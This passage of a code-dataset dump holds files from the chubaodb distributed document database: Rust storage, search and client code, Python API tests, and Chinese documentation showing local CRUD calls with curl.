[2];\n\n let iter = self\n .db\n .iterator(IteratorMode::From(&prefix, Direction::Forward));\n\n let mut count = 0;\n\n for (k, _) in iter {\n if k[0] >= 4 {\n break;\n }\n count += 1;\n }\n Ok(count)\n }\n\n pub fn write_raft_index(&self, raft_index: u64) -> ASResult<()> {\n let mut batch = WriteBatch::default();\n batch.put(RAFT_INDEX_KEY, &u64_slice(raft_index)[..]);\n conver(self.db.write_opt(batch, &&self.wo))?;\n Ok(())\n }\n\n pub fn read_raft_index(&self) -> ASResult<u64> {\n match self.db.get(RAFT_INDEX_KEY)? {\n Some(bs) => Ok(slice_u64(bs.as_slice())),\n None => Ok(0),\n }\n }\n\n pub fn find_max_iid(&self) -> u32 {\n let iter = self.db.iterator_cf(self.id_cf(), IteratorMode::End); // From a key in Direction::{forward,reverse}\n\n for (k, _) in iter {\n return slice_u32(&k);\n }\n\n return 0;\n }\n\n // query rocksdb range key , the range key > prefix , end ,\n pub fn prefix_range(\n &self,\n prefix: Vec<u8>,\n mut f: impl FnMut(&[u8], &[u8]) -> ASResult<bool>,\n ) -> ASResult<()> {\n let iter = self\n .db\n .iterator(IteratorMode::From(&prefix, Direction::Forward)); // From a key in Direction::{forward,reverse}\n\n for (k, v) in iter {\n if !f(&*k, &*v)? {\n break;\n }\n }\n\n Ok(())\n }\n}\n\nimpl Engine for RocksDB {\n fn flush(&self) -> ASResult<()> {\n let mut flush_options = FlushOptions::default();\n flush_options.set_wait(true);\n self.db.flush_cf(self.id_cf())?;\n conver(self.db.flush_opt(&flush_options))\n }\n\n fn release(&self) {\n info!(\n \"the collection:{} , partition:{} to release\",\n self.partition.collection_id, self.partition.id\n );\n let mut flush_options = FlushOptions::default();\n flush_options.set_wait(true);\n if let Err(e) = self.db.flush_opt(&flush_options) {\n error!(\"flush db has err:{:?}\", e);\n }\n }\n}\n" }, { "alpha_fraction": 0.6043887138366699, "alphanum_fraction": 0.6087774038314819, "avg_line_length": 25.58333396911621, "blob_id": "a0af166908f4e880a23c0e4de0aa7a19dcea4047", "content_id": "4cf99d146e9bb0da4ae6e5183bad8b8f42adc1a7", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 1595, "license_type": "permissive", "max_line_length": 99, "num_lines": 60, "path": "/src/pserver/simba/engine/tantivy/bitmap_collector.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::pserver::simba::engine::tantivy::ID_INDEX;\nuse crate::util::coding::slice_i64;\nuse roaring::RoaringBitmap;\nuse tantivy::{\n collector::Collector, collector::SegmentCollector, fastfield::BytesFastFieldReader,\n schema::Field, DocId, Score, SegmentLocalId, SegmentReader,\n};\n#[derive(Default)]\npub struct Bitmap;\n\nimpl Collector for Bitmap {\n type Fruit = RoaringBitmap;\n\n type Child = SegmentBitMapCollector;\n\n fn for_segment(\n &self,\n _: SegmentLocalId,\n sr: &SegmentReader,\n ) -> tantivy::Result<SegmentBitMapCollector> {\n Ok(SegmentBitMapCollector {\n bit_map: RoaringBitmap::new(),\n fast_field: sr.fast_fields().bytes(Field::from_field_id(ID_INDEX)),\n })\n }\n\n fn requires_scoring(&self) -> bool {\n false\n }\n\n fn merge_fruits(&self, segment_bitmaps: Vec<RoaringBitmap>) -> tantivy::Result<RoaringBitmap> {\n let result = segment_bitmaps\n .iter()\n .fold(RoaringBitmap::default(), |r, v| r | v);\n\n return Ok(result);\n }\n}\n\npub struct SegmentBitMapCollector {\n bit_map: RoaringBitmap,\n fast_field: Option<BytesFastFieldReader>,\n}\n\nimpl SegmentCollector for SegmentBitMapCollector {\n type Fruit = RoaringBitmap;\n\n fn collect(&mut self, doc_id: DocId, _: Score) {\n if let Some(ffr) = self.fast_field.as_ref() {\n let v = ffr.get_bytes(doc_id);\n if v.len() > 0 {\n self.bit_map.insert(slice_i64(v) as u32);\n }\n }\n }\n\n fn harvest(self) -> Self::Fruit {\n self.bit_map\n }\n}\n" }, { "alpha_fraction": 0.7504873275756836, "alphanum_fraction": 0.7680311799049377, "avg_line_length": 33.20000076293945, "blob_id": "a7fd0253b39623a4626194b72a416f0b40ac7124", "content_id": "053c2c0ed36ac018a31e900a0f6fc1474cf5ab5e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1183, "license_type": "permissive", "max_line_length": 169, "num_lines": 15, "path": "/docs/zh-CN/src/introduction.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "\n### 介绍\n`chubaodb` 是一个分布式高可用的云原生,同时支持传统的分布式文档搜索及存储系统,支持`全文检索`,`聚合查询`,`向量搜索`,`标量搜索`的功能,采用轻schema策略,尽可能提高了存储文档的灵活度。同时吸取其他类似软件的经验,初心于在有限的计算节点情况下,支持不限容量的存储及计算,同时尽可能低的学习成本,完成尽可能多的需求。\n\n### 初心\n我们期望于`chubaodb` 是一个一看就会,开箱即用的软件,让使用者不在对被使用的软件所使用。严格准守,山寨三体的软件设计原则, \n* 1.程序必须正确 \n* 2.程序必须可维护,如果和第1条冲突,以第1条为准 \n* 3.程序必须高效,如和第1条冲突,则以第1条为准,如和第2条冲突,则以第2条为准。\n\n### 特点\n* `graphql` 进行schema管理, \n* `restful api`进行数据操作, \n* `raft`保证数据的最终一致性, \n* `rocksdb`, `tantivy`, `faiss` 提供了底层存储及计算的能力。\n* 通过`chubaofs` 提供了无限存储的可能,通过架构可以释放或加载宝贵的cpu和内存资源。" }, { "alpha_fraction": 0.7115789651870728, "alphanum_fraction": 0.7284210324287415, "avg_line_length": 32.92856979370117, "blob_id": "80845f68da599c2647bfeb7341ebe3194c748edb", "content_id": "8f33309779afb3343a4171474e22b9a19ae08410", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 950, "license_type": "permissive", "max_line_length": 70, "num_lines": 28, "path": "/src/master/cmd.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse serde_derive::{Deserialize, Serialize};\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct PTransfer {\n pub collection_id: u32,\n pub partition_id: u32,\n pub to_server: String,\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct PCreate {\n pub collection_name: String,\n pub partition_num: u32,\n pub zones: Vec<u32>,\n}\n" }, { "alpha_fraction": 0.43792998790740967, "alphanum_fraction": 0.44158294796943665, "avg_line_length": 30.647397994995117, "blob_id": "3667093d8f281d7577860f7385daa3d82ec85c6f", "content_id": "2885b34ed20adbf8b1f1352847832b339b514474", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 16425, "license_type": "permissive", "max_line_length": 99, "num_lines": 519, "path": "/src/client/ps_client.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::client::meta_client::MetaClient;\nuse crate::client::partition_client::*;\nuse crate::pserver::simba::aggregation;\nuse crate::pserverpb::rpc_client::RpcClient;\nuse crate::pserverpb::*;\nuse crate::util::{coding, config, entity::*, error::*};\nuse crate::*;\nuse async_std::{sync::channel, task};\nuse log::{error, info, warn};\nuse std::collections::HashMap;\nuse std::sync::{Arc, Mutex, RwLock};\nuse tonic::transport::{Channel, Endpoint};\n\nconst RETRY: usize = 5;\n\npub struct CollectionInfo {\n pub collection: Collection,\n pub partitions: Vec<Partition>,\n pub fields: HashMap<String, Field>,\n}\n\npub struct PsClient {\n _conf: Arc<config::Config>,\n meta_cli: MetaClient,\n lock_cache: RwLock<HashMap<String, Arc<Mutex<usize>>>>,\n collection_cache: RwLock<HashMap<String, Arc<CollectionInfo>>>,\n channel_cache: RwLock<HashMap<String, RpcClient<Channel>>>,\n}\n\nimpl PsClient {\n pub fn new(conf: Arc<config::Config>) -> Self {\n PsClient {\n _conf: conf.clone(),\n lock_cache: RwLock::new(HashMap::new()),\n meta_cli: MetaClient::new(conf.clone()),\n collection_cache: RwLock::new(HashMap::new()),\n channel_cache: RwLock::new(HashMap::new()),\n }\n }\n\n pub async fn write(\n &self,\n collection_name: String,\n id: String,\n sort_key: String,\n version: i64,\n source: Vec<u8>,\n wt: i32,\n ) -> ASResult<GeneralResponse> {\n 'outer: for i in 0..RETRY {\n match self\n ._write(\n collection_name.as_str(),\n id.as_str(),\n sort_key.as_str(),\n version,\n &source,\n wt,\n )\n .await\n {\n Ok(r) => {\n return Ok(r);\n }\n Err(e) => {\n if self.check_err_cache(i, collection_name.as_str(), &e) {\n continue 'outer;\n } else {\n return Err(e);\n }\n }\n }\n }\n panic!(\"out of range\")\n }\n\n async fn _write(\n &self,\n collection_name: &str,\n id: &str,\n sort_key: &str,\n version: i64,\n source: &Vec<u8>,\n wt: i32,\n ) -> ASResult<GeneralResponse> {\n let ps = self.select_partition(collection_name, id).await?;\n\n ps.write(\n RpcClient::new(Endpoint::from_shared(ps.addr())?.connect().await?),\n WriteDocumentRequest {\n collection_id: ps.collection_id,\n partition_id: ps.partition_id,\n doc: Some(Document {\n id: id.to_string(),\n sort_key: sort_key.to_string(),\n source: source.to_owned(),\n slot: ps.slot,\n partition_id: ps.partition_id,\n version: version,\n vectors: Vec::default(),\n }),\n write_type: wt,\n },\n )\n .await\n }\n\n pub async fn get(\n &self,\n collection_name: String,\n id: String,\n sort_key: String,\n ) -> ASResult<DocumentResponse> {\n 'outer: for i in 0..RETRY {\n match self\n ._get(collection_name.as_str(), id.as_str(), sort_key.as_str())\n .await\n {\n Ok(r) => {\n return Ok(r);\n }\n Err(e) => {\n if self.check_err_cache(i, collection_name.as_str(), &e) {\n continue 'outer;\n } else {\n return Err(e);\n }\n }\n }\n }\n panic!(\"out of range\")\n }\n pub async fn _get(\n &self,\n collection_name: &str,\n id: &str,\n sort_key: &str,\n ) -> ASResult<DocumentResponse> {\n let ps = self.select_partition(collection_name, id).await?;\n\n ps.get(\n self.channel_cache(ps.addr.as_str()).await?,\n GetDocumentRequest {\n collection_id: ps.collection_id,\n partition_id: ps.partition_id,\n id: id.to_string(),\n sort_key: sort_key.to_string(),\n },\n )\n .await\n }\n\n pub async fn search(\n &self,\n collection_name: &str,\n query: QueryRequest,\n ) -> ASResult<SearchDocumentResponse> {\n 'outer: for i in 0..RETRY {\n let (tx, rx) = channel(10);\n\n match self.select_collection(collection_name).await {\n Ok(mpl) => {\n for mp in mpl {\n let mut query = query.clone();\n query.cpids = mp.collection_partition_ids.clone();\n let tx = tx.clone();\n task::spawn(async move {\n match mp.search(query).await {\n Ok(resp) => {\n tx.send(resp).await;\n }\n Err(e) => {\n tx.send(e.into()).await;\n }\n };\n });\n }\n }\n Err(e) => {\n if self.check_err_cache(i, collection_name, &e) {\n continue;\n } else {\n return Err(e);\n }\n }\n };\n\n drop(tx);\n\n let mut dist = rx.recv().await.unwrap();\n\n if Code::from_i32(dist.code) != Code::Success\n && self.check_response_cache(\n i,\n collection_name,\n err!(dist.code, msg_for_resp(&dist.info)),\n )\n {\n continue 'outer;\n }\n while let Ok(src) = rx.recv().await {\n if Code::from_i32(src.code) != Code::Success\n && self.check_response_cache(\n i,\n collection_name,\n err!(dist.code, msg_for_resp(&dist.info)),\n )\n {\n continue 'outer;\n }\n dist = merge_search_document_response(dist, src);\n }\n\n return Ok(dist);\n }\n panic!(\"out of range\");\n }\n\n pub async fn agg(\n &self,\n collection_name: &str,\n query: QueryRequest,\n ) -> ASResult<AggregationResponse> {\n 'outer: for i in 0..RETRY {\n let (tx, rx) = channel::<AggregationResponse>(10);\n\n let mut result_size: i32 = 0;\n\n match self.select_collection(collection_name).await {\n Ok(mpl) => {\n for mp in mpl {\n let mut query = query.clone();\n query.cpids = mp.collection_partition_ids.clone();\n let tx = tx.clone();\n result_size += 1;\n task::spawn(async move {\n match mp.agg(query).await {\n Ok(resp) => tx.send(resp).await,\n Err(e) => tx.send(e.into()).await,\n };\n });\n }\n }\n Err(e) => {\n if self.check_err_cache(i, collection_name, &e) {\n continue;\n } else {\n return Err(e);\n }\n }\n };\n\n drop(tx);\n\n let mut dist = rx.recv().await.unwrap();\n\n if result_size == 1 {\n return Ok(dist);\n }\n\n let mut result = HashMap::new();\n for v in std::mem::replace(&mut dist.result, Vec::default()) {\n result.insert(v.key.clone(), v);\n }\n\n if Code::from_i32(dist.code) != Code::Success\n && self.check_response_cache(\n i,\n collection_name,\n err!(dist.code, msg_for_resp(&dist.info)),\n )\n {\n continue 'outer;\n }\n while let Ok(src) = rx.recv().await {\n if Code::from_i32(src.code) != Code::Success\n && self.check_response_cache(\n i,\n collection_name,\n err!(dist.code, msg_for_resp(&dist.info)),\n )\n {\n continue 'outer;\n }\n dist = merge_aggregation_response(dist, &mut result, src);\n }\n\n dist.result = aggregation::make_vec(result, &query.sort, query.size as usize)?;\n\n return Ok(dist);\n }\n panic!(\"out of range\");\n }\n\n pub async fn count(&self, collection_name: &str) -> ASResult<CountDocumentResponse> {\n 'outer: for i in 0..RETRY {\n let (tx, rx) = channel::<CountDocumentResponse>(10);\n\n match self.select_collection(collection_name).await {\n Ok(mpl) => {\n for mp in mpl {\n let tx = tx.clone();\n task::spawn(async move {\n match mp.count().await {\n Ok(resp) => tx.send(resp).await,\n Err(e) => {\n if let Err(e) = tx.try_send(e.into()) {\n error!(\"send result has err:{:?}\", e); //TODO: if errr\n };\n }\n };\n });\n }\n }\n Err(e) => {\n if self.check_err_cache(i, collection_name, &e) {\n continue;\n } else {\n return Err(e);\n }\n }\n };\n\n drop(tx);\n\n let mut dist = rx.recv().await.unwrap();\n\n if Code::from_i32(dist.code) != Code::Success\n && self.check_response_cache(i, collection_name, err!(dist.code, dist.message))\n {\n continue 'outer;\n }\n\n while let Ok(src) = rx.recv().await {\n if Code::from_i32(src.code) != Code::Success\n && self.check_response_cache(i, collection_name, err!(dist.code, dist.message))\n {\n continue 'outer;\n }\n dist = merge_count_document_response(dist, src);\n }\n\n return Ok(dist);\n }\n panic!(\"out of range\");\n }\n\n pub async fn status(&self, addr: &str) -> ASResult<GeneralResponse> {\n let result = PartitionClient::new(addr.to_string())\n .status(GeneralRequest {\n collection_id: 0,\n partition_id: 0,\n })\n .await?;\n\n if Code::from_i32(result.code) != Code::Success {\n return result!(result.code, result.message);\n }\n\n Ok(result)\n }\n\n async fn select_collection(&self, name: &str) -> ASResult<Vec<MultiplePartitionClient>> {\n let c: Arc<CollectionInfo> = self.cache_collection(name).await?;\n\n let mut map = HashMap::new();\n\n for partition in c.partitions.iter() {\n let mp = map\n .entry(partition.leader.clone())\n .or_insert(MultiplePartitionClient::new(partition.leader.clone()));\n\n mp.collection_partition_ids\n .push(coding::merge_u32(c.collection.id, partition.id));\n }\n\n return Ok(map\n .into_iter()\n .map(|(_, v)| v)\n .collect::<Vec<MultiplePartitionClient>>());\n }\n\n async fn select_partition(&self, name: &str, id: &str) -> ASResult<PartitionClient> {\n let c: Arc<CollectionInfo> = self.cache_collection(name).await?;\n let slot = coding::hash_str(id) as u32;\n if c.collection.partitions.len() == 1 {\n let p = &c.partitions[0];\n let pc = PartitionClient {\n addr: p.leader.to_string(),\n collection_id: c.collection.id,\n partition_id: p.id,\n slot: slot,\n };\n return Ok(pc);\n }\n\n let pid = match c.collection.slots.binary_search(&slot) {\n Ok(i) => i,\n Err(i) => i - 1,\n };\n\n info!(\"match pid :{}\", pid);\n\n let p = &c.partitions[pid];\n\n let p = PartitionClient {\n addr: p.leader.to_string(),\n collection_id: p.collection_id,\n partition_id: p.id,\n slot: slot,\n };\n Ok(p)\n }\n\n //TODO CACHE ME\n pub async fn cache_collection(&self, name: &str) -> ASResult<Arc<CollectionInfo>> {\n if let Some(c) = self.collection_cache.read().unwrap().get(name) {\n return Ok(c.clone());\n }\n\n let lock = self\n .lock_cache\n .write()\n .unwrap()\n .entry(name.to_string())\n .or_insert(Arc::new(Mutex::new(0)))\n .clone();\n let _ = lock.lock().unwrap();\n\n if let Some(c) = self.collection_cache.read().unwrap().get(name) {\n return Ok(c.clone());\n }\n\n let collection = self.meta_cli.get_collection(name).await?;\n\n let mut cache_field = HashMap::with_capacity(collection.fields.len());\n\n collection.fields.iter().for_each(|f| {\n cache_field.insert(f.name().to_string(), f.clone());\n });\n\n //to load partitions\n let mut partitions = Vec::new();\n\n for pid in collection.partitions.iter() {\n let partition = self.meta_cli.get_partition(collection.id, *pid).await?;\n partitions.push(partition);\n }\n\n let c = Arc::new(CollectionInfo {\n collection: collection,\n partitions: partitions,\n fields: cache_field,\n });\n\n self.collection_cache\n .write()\n .unwrap()\n .insert(name.to_string(), c.clone());\n Ok(c.clone())\n }\n\n fn check_err_cache(&self, i: usize, cname: &str, e: &ASError) -> bool {\n if i + 1 == RETRY {\n return false;\n }\n match e.code() {\n Code::RocksDBNotFound => {\n warn!(\"to remove cache by collection:{}\", cname);\n self.collection_cache.write().unwrap().remove(cname);\n true\n }\n _ => false,\n }\n }\n\n fn check_response_cache(&self, i: usize, cname: &str, e: ASError) -> bool {\n if e == ASError::Success {\n return false;\n }\n self.check_err_cache(i, cname, &e)\n }\n\n async fn channel_cache(&self, addr: &str) -> ASResult<RpcClient<Channel>> {\n if let Some(channel) = self.channel_cache.read().unwrap().get(addr) {\n return Ok(channel.clone());\n };\n\n let mut map = self.channel_cache.write().unwrap();\n if let Some(channel) = map.get(addr) {\n return Ok(channel.clone());\n };\n\n info!(\"to connect channel addr:{}\", addr);\n\n let client = RpcClient::new(\n Endpoint::from_shared(format!(\"http://{}\", addr))?\n .connect()\n .await?,\n );\n\n map.insert(addr.to_string(), client.clone());\n\n Ok(client)\n }\n}\n" }, { "alpha_fraction": 0.5455672740936279, "alphanum_fraction": 0.5722256898880005, "avg_line_length": 31.585859298706055, "blob_id": "9b8ae7544371b495704d651e0767baae92a9b86d", "content_id": "76f7fc276f0cd3d489977ad314b12732974f3de0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3226, "license_type": "permissive", "max_line_length": 95, "num_lines": 99, "path": "/test/agg_test.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import pytest\nimport requests\nimport json\nimport random\nimport config\nimport time\nimport math\n\n\ndef test_del_collection():\n url = \"http://\" + config.MASTER + \"/collection/delete/t1\"\n response = requests.delete(url)\n print(\"collection_delete---\\n\" + response.text)\n assert response.status_code == 200 or response.status_code == 555\n\n\ndef test_create_collection():\n url = \"http://\" + config.MASTER + \"/collection/create\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": \"t1\",\n \"partition_num\": 1,\n \"partition_replica_num\": 1,\n \"fields\": [\n {\"string\": {\"name\": \"name\", \"array\": True, \"value\": True}},\n {\"float\": {\"name\": \"price\", \"value\": True}},\n {\"int\": {\"name\": \"age\", \"value\": True}},\n {\"text\": {\"name\": \"content\", \"value\": True}}\n ]\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n time.sleep(5) # TODO: FIX ME wait raft ok\n\n\ndef test_put():\n for i in range(200):\n url = \"http://\" + config.ROUTER + \"/put/t1/\"+str(i)\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\"+str(i), \"sun\"],\n \"age\": i % 17,\n \"content\": \"hello tig \"+str(i),\n \"price\": math.sqrt(i)\n }\n\n print(data)\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n\ndef test_agg():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/agg/t1?query=hello&size=10&def_fields=content&sort=key:desc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"total\"] == 200\n assert v[\"result\"][0][\"key\"] == \"\"\n assert v[\"result\"][0][\"values\"][0][\"count\"] == 200\n\n\ndef test_agg_group_term():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/agg/t1?group=term(age)&sort=value:asc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"total\"] == 200\n assert v[\"result\"][0][\"values\"][0][\"count\"] == 11\n\n response = requests.get(\n \"http://\"+config.ROUTER+\"/agg/t1?group=term(age)&sort=value:desc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"total\"] == 200\n assert v[\"result\"][0][\"values\"][0][\"count\"] == 12\n\n\ndef test_agg_stats_term():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/agg/t1?group=term(age)&sort=value:desc&fun=stats(age)\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"total\"] == 200\n assert v[\"result\"][0][\"values\"][0][\"count\"] == 12\n" }, { "alpha_fraction": 0.5607675909996033, "alphanum_fraction": 0.7157071828842163, "avg_line_length": 18.027027130126953, "blob_id": "9bbc565afe730f231fe96c00c12b294f5a57f722", "content_id": "88451deaea9bea5c38e20e01d40becdb6860b3a6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2101, "license_type": "permissive", "max_line_length": 130, "num_lines": 74, "path": "/docs/zh-CN/src/crud.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# crud那些事儿\n\n在[库表管理](./collection.md)里我们学习了如何创建一个表。下面让我们对这个表进行数据的增删改查。\n\n在这之前我们了解下插入数据的姿势。\n\n* `put` 代表不管有没有都插进去。document的version归为1\n* `create` 必须没有,如果有报错,document的version为1\n* `update` 必须存在,如果不存在就报错, document的version 递增+1\n* `upsert` 有则走`update`逻辑,没有则走`create`逻辑\n\n好了你已经学会了存储的真谛,让我们来试着插入一条数据吧!注意数据操作是在 router 上进行,也就是默认的`8080`端口上。\n\n## put\n\n````\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"name\": \"张三\",\n\t\"age\": 20,\n\t\"birthday\": \"2000-02-02\",\n\t\"description\": \"一个用来测试的倒霉蛋\",\n\t\"skills\": [\"java\", \"php\", \"python\"]\n}\n' \"http://127.0.0.1:8080/put/person/1\"\n````\n看到如下\n\n![image-20200715124902323](image/image-20200715124902323.png)\n\n代表插入成功!\n\n* `http://127.0.0.1:8080/put/person/1` 地址中`person` 是我们创建的表名称, 1 位当前用户的唯一id。字符串格式。(ps:id 还有一种方式,双keyid。这是一种很高级的做法,后门我们会对次情况单门一章来说明)\n\n我们可以通过get 接口来获取这条数据 http://127.0.0.1:8080/get/person/1\n\n\n\n![image-20200715125145828](image/image-20200715125145828.png)\n\n## update\n\n比如我们尝试更新张三的技能增加rust 通过如下方式\n\n````\ncurl -H \"Content-Type: application/json\" -XPOST -d'\n{\n\t\"skills\": [\"java\", \"php\", \"python\",\"rust\"]\n}\n' \"http://127.0.0.1:8080/update/person/1\"\n````\n\n\n\n![image-20200715125335276](image/image-20200715125335276.png)\n\n我们可以开心的看到张三学会了`rust` 并且 version 改为了2.\n\n\n\n## delete\n\n通过 \n\n```\ncurl -XDELETE http://127.0.0.1:8080/delete/person/1\n{\"code\":200,\"message\":\"success\"}\n```\n\n可以删除张三这条记录。我们看看删除后再做get会得到什么\n\n![image-20200715125658865](image/image-20200715125658865.png)\n\n嗯。很好本章结束了!" }, { "alpha_fraction": 0.5631300806999207, "alphanum_fraction": 0.5832933187484741, "avg_line_length": 29.632352828979492, "blob_id": "c4eb280276c4772f0a177b9412bece0d3e5fbb8d", "content_id": "d0cfe7c01fd4c8d97bce208b088dace733eb28c7", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2083, "license_type": "permissive", "max_line_length": 90, "num_lines": 68, "path": "/test/example.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import pytest\nimport requests\nimport json\nimport random\nimport config\nimport time\n\n\ndef test_del_collection():\n url = \"http://\" + config.MASTER + \"/collection/delete/t1\"\n response = requests.delete(url)\n print(\"collection_delete---\\n\" + response.text)\n\n assert response.status_code == 200 or response.status_code == 503\n\n\ndef test_create_collection():\n url = \"http://\" + config.MASTER + \"/collection/create\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": \"t1\",\n \"partition_num\": 1,\n \"partition_replica_num\": 1,\n \"fields\": [\n {\"string\": {\"name\": \"name\", \"array\": True}},\n {\"int\": {\"name\": \"age\"}},\n {\"text\": {\"name\": \"content\"}}\n ]\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n time.sleep(5) # TODO: FIX ME wait raft ok\n\n\ndef test_put():\n url = \"http://\" + config.ROUTER + \"/put/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n\n\ndef test_get():\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"sun\"]\n\n\ndef test_search():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"sun\"]\n" }, { "alpha_fraction": 0.29479560256004333, "alphanum_fraction": 0.342514306306839, "avg_line_length": 32.24211502075195, "blob_id": "ccbf5035e5d1324a81c0113689bfcf3e94efa80c", "content_id": "c4eeeb705116ae7f5b46535227abdaf23c9c37de", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 35835, "license_type": "permissive", "max_line_length": 98, "num_lines": 1078, "path": "/src/util/convert.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::util::{\n coding::*,\n error::{ASError, ASResult, Code},\n time,\n};\nuse crate::*;\nuse chrono::prelude::*;\nuse serde_json::Value;\nuse std::convert::TryInto;\n\npub enum Convert<'a> {\n String(String),\n Str(&'a str),\n Bytes(Vec<u8>),\n BytesRef(&'a [u8]),\n Bool(bool),\n U8(u8),\n I32(i32),\n U32(u32),\n I64(i64),\n U64(u64),\n F32(f32),\n F64(f64),\n Usize(usize),\n DateTime(NaiveDateTime),\n}\n\nimpl From<String> for Convert<'_> {\n fn from(v: String) -> Self {\n Convert::String(v)\n }\n}\n\nimpl<'a> From<&'a str> for Convert<'a> {\n fn from(v: &'a str) -> Self {\n Convert::Str(v)\n }\n}\n\nimpl From<Vec<u8>> for Convert<'_> {\n fn from(v: Vec<u8>) -> Self {\n Convert::Bytes(v)\n }\n}\n\nimpl<'a> From<&'a [u8]> for Convert<'a> {\n fn from(v: &'a [u8]) -> Self {\n Convert::BytesRef(v)\n }\n}\n\nimpl From<bool> for Convert<'_> {\n fn from(v: bool) -> Self {\n Convert::Bool(v)\n }\n}\n\nimpl From<u8> for Convert<'_> {\n fn from(v: u8) -> Self {\n Convert::U8(v)\n }\n}\n\nimpl From<i32> for Convert<'_> {\n fn from(v: i32) -> Self {\n Convert::I32(v)\n }\n}\n\nimpl From<u32> for Convert<'_> {\n fn from(v: u32) -> Self {\n Convert::U32(v)\n }\n}\n\nimpl From<i64> for Convert<'_> {\n fn from(v: i64) -> Self {\n Convert::I64(v)\n }\n}\n\nimpl From<u64> for Convert<'_> {\n fn from(v: u64) -> Self {\n Convert::U64(v)\n }\n}\n\nimpl From<f64> for Convert<'_> {\n fn from(v: f64) -> Self {\n Convert::F64(v)\n }\n}\n\nimpl From<f32> for Convert<'_> {\n fn from(v: f32) -> Self {\n Convert::F32(v)\n }\n}\n\nimpl From<usize> for Convert<'_> {\n fn from(v: usize) -> Self {\n Convert::Usize(v)\n }\n}\n\nimpl From<NaiveDateTime> for Convert<'_> {\n fn from(v: NaiveDateTime) -> Self {\n Convert::DateTime(v)\n }\n}\n\nimpl TryInto<String> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<String, Self::Error> {\n match self {\n Convert::String(v) => Ok(v),\n Convert::Str(v) => 